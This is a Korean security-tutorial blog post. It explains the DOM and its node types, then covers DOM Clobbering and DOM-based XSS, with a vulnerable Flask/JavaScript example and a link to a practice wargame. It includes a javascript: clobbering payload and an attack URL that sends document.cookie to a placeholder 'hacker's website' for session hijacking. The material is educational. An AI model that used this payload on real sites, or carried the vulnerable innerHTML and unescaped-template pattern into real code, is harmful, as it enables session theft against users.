Document Object Model??

2024. 9. 1. 01:01Web Security/웹 해킹

Document Object Model에 대해서 설명하도록 하겠습니다.

DOM(Document object Model)이란 문서 객체 모델, 즉 DOM은 웹 페이지(HTML이나 XML 문서)의 콘텐츠 및 구조, 그리고 스타일 요소를 구조화 시켜 표현하여 프로그래밍 언어가 해당 문서에 접근하여 읽고 조작할 수 있도록 API를 제공하는 일종의 인터페이스입니다.

즉 자바스크립트 같은 스크립팅 언어가 쉽게 웹 페이지에 접근하여 조작할 수 있게 끔 연결시켜주는 역할을 담당합니다. 이는 프로그래밍 언어가 DOM 구조에 접근할 수 있는 방법을 제공하여 그들이 문서 구조, 스타일, 내용 등을 변경할 수 있게 돕는다.

DOM을 자바스크립트의 일부분으로 생각하지만, DOM은 프로그래밍 언어가 아니다. DOM 은 프로그래밍 언어는 아니지만 DOM 이 없다면 JavaScript 언어는 웹 페이지 또는 XML 페이지 및 요소들과 관련된 모델이나 개념들에 대한 정보를 갖지 못하게 된다.

DOM은 트리 자료 구조로 구축이 되기 때문에, HTML 문서는 최종적으로 하나의 최상위 노드(root 노드)에서 시작해 자식 노드들을 가지며, 아래로만 뻗어나가는 구조로 만들어지게 됩니다.

document 노드가 최상위 노드가 되고, 밑으로 element 노드가 오며, 이어 text 노드와 attribute 노드가 오는 계층적인 구조임을 알 수 있습니다. 이러한 노드 타입에는 총 12개가 있는데 가장 중요한 것은 위에서도 명시가 되어 있듯 총 4가지의 노드가 있습니다.

document node (문서 노드)

DOM Tree에서 최상위 루트 노드를 나타내며, document 객체를 가리킵니다. HTML 문서 전체를 나타내는 노드이기도 합니다. window 객체의 document 프로퍼티로 바인딩(연결)이 되어 window.document , document로 참조해 사용할 수 있습니다. HTML 문서에 이 문서 노드는 오로지 1개만 존재합니다.

element node (요소 노드)

모든 HTML 요소 (body, h2, div 등)는 이 요소 노드입니다. 속성 노드를 가질 수 있는 유일한 노드로서, 부모-자식 관계를 가지게 되기 때문에 계층적 구조를 이룰 수 있게 됩니다.

attribute node (속성 노드)

모든 HTML 요소의 속성은 이 속성 노드입니다. 요소 노드에 대한 정보를 가지고 있습니다. 그렇기 때문에 부모 노드가 아닌 해당 노드와 연결(바인딩)이 되어 있습니다.

text node (텍스트 노드)

HTML 문서의 모든 텍스트는 이 텍스트 노드라 해도 과언이 아닙니다. 텍스트 노드는 정보를 표현하며, 가장 마지막에 위치하는 자식 노드이기 때문에 잎사귀를 닮았다 해 리프 노드라고 불리기도 합니다.

위와 같은 DOM을 잘못 사용하면, 취약점이 발생할 수 있습니다. 이제부터 발생할 수 있는 취약점을 공부해도보록 하겠습니다

DOM Clobbering

DOM Clobbering은 DOM을 사용자가 조작할 수 있을 때 발생됩니다. 자바스크립트에서 별도 변수 정의 없이 id 혹은 name만을 통해서 DOM을 지정할 수 있습니다. 이를 이용하여 문서 개체(document object)의 property 와 동일한 이름을 가지고 있거나 같은 이름의 변수가 global scope에 있을 경우에 곂침이 발생하여Overwrite(덮어씌어짐)가 발생합니다.

 

아래와 같은 코드를 프로그래머가 작성하고, html만을 허용하였다고 가정해봅시다.

 

document.location.href = window.mylocation

 

그렇다면 우리는 <a id="mylocation" href="javascript:alert(45)"> 다음과 같은 html코드를 삽입하여 자바스크립트를 실행하게 만들 수 있습니다.

 

이에 대한 실제 사례는 구글 GMAIL의 AMP4EMAIL이 있습니다.

 

DOM-based XSS

DOM-based XSS는 대표적으로 자바스크립트에서 URL의 파라미터나 해시를 가져와서, html 코드에 삽입하는 경우 발생한다. 그렇기에 서버단에서 xss를 필터링을 하여도 취약점이 발생된다. 위와 같은 취약점은 이메일이나 링크를 클릭하게 하여 js 코드가 실행되게 하는 방식으로 이루어진다.

위 두가지 방식을 이용하면 다음과 같은 소스코드에 xss를 발생시킬 수 있다.

프론트

  <script>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
 {{ param | safe }}
 <pre id="name"></pre>

서버

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)

공격 코드

www.취약한 사이트/vuln?param=<script id="name"></script>#location.href='해커의 웹사이트?sessionid='+document.cookie;//

설명

param=<script id="name"></script>가 서버로 넘어가 html 코드로 변환된다. 그 뒤 param 템플릿에 입력됩니다. 이후 # 뒤에 나오는 코드는 ${location.hash.slice(1)} is my name !; 같은 문자열로 <pre id="name"></pre> 태그에 입렵되어야 하지만, DOM Clobbering 기술을 사용하여서 pre의 id인 name을 script id=name으로 덮었습니다.

이후, location.href='해커의 웹사이트?sessionid='+document.cookie;//is my name ! 이 script의 inerhtml로 입렵되었습니다. 하지만 //는 js의 주석처리 코드임으로 is my name ! 주석처리 됩니다. 그럼으로 location.href=해커의 웹사이트?sessionid='+document.cookie;이 실행되어 해커의 웹사이트로 cookie값이 전송되고 session 하이 재킹이 가능해졌습니다.

실습을 원하시면 다음 문제를 풀어볼 수 있습니다.

 

 

https://dreamhack.io/wargame/challenges/438

 

DOM XSS

Description Exercise: DOM XSS에서 실습하는 문제입니다. 문제 수정 내역 2023.08.11 Dockerfile 제공

dreamhack.io

 

 

출처 :

https://developer.mozilla.org/ko/docs/Web/API/Document_Object_Model/Introduction

https://www.codestates.com/blog/content/dom-javascript

https://intadd.tistory.com/143

 

'Web Security > 웹 해킹' 카테고리의 다른 글

CSP : Content-Security-Policy  (1) 2024.09.19
CSRF - CSRF token, SameSite Cookie  (1) 2024.09.19
SOP와 CORS  (2) 2024.09.18
XSS에 대해서 기초적인 내용  (2) 2024.09.16
Is unicode safe?  (4) 2024.08.28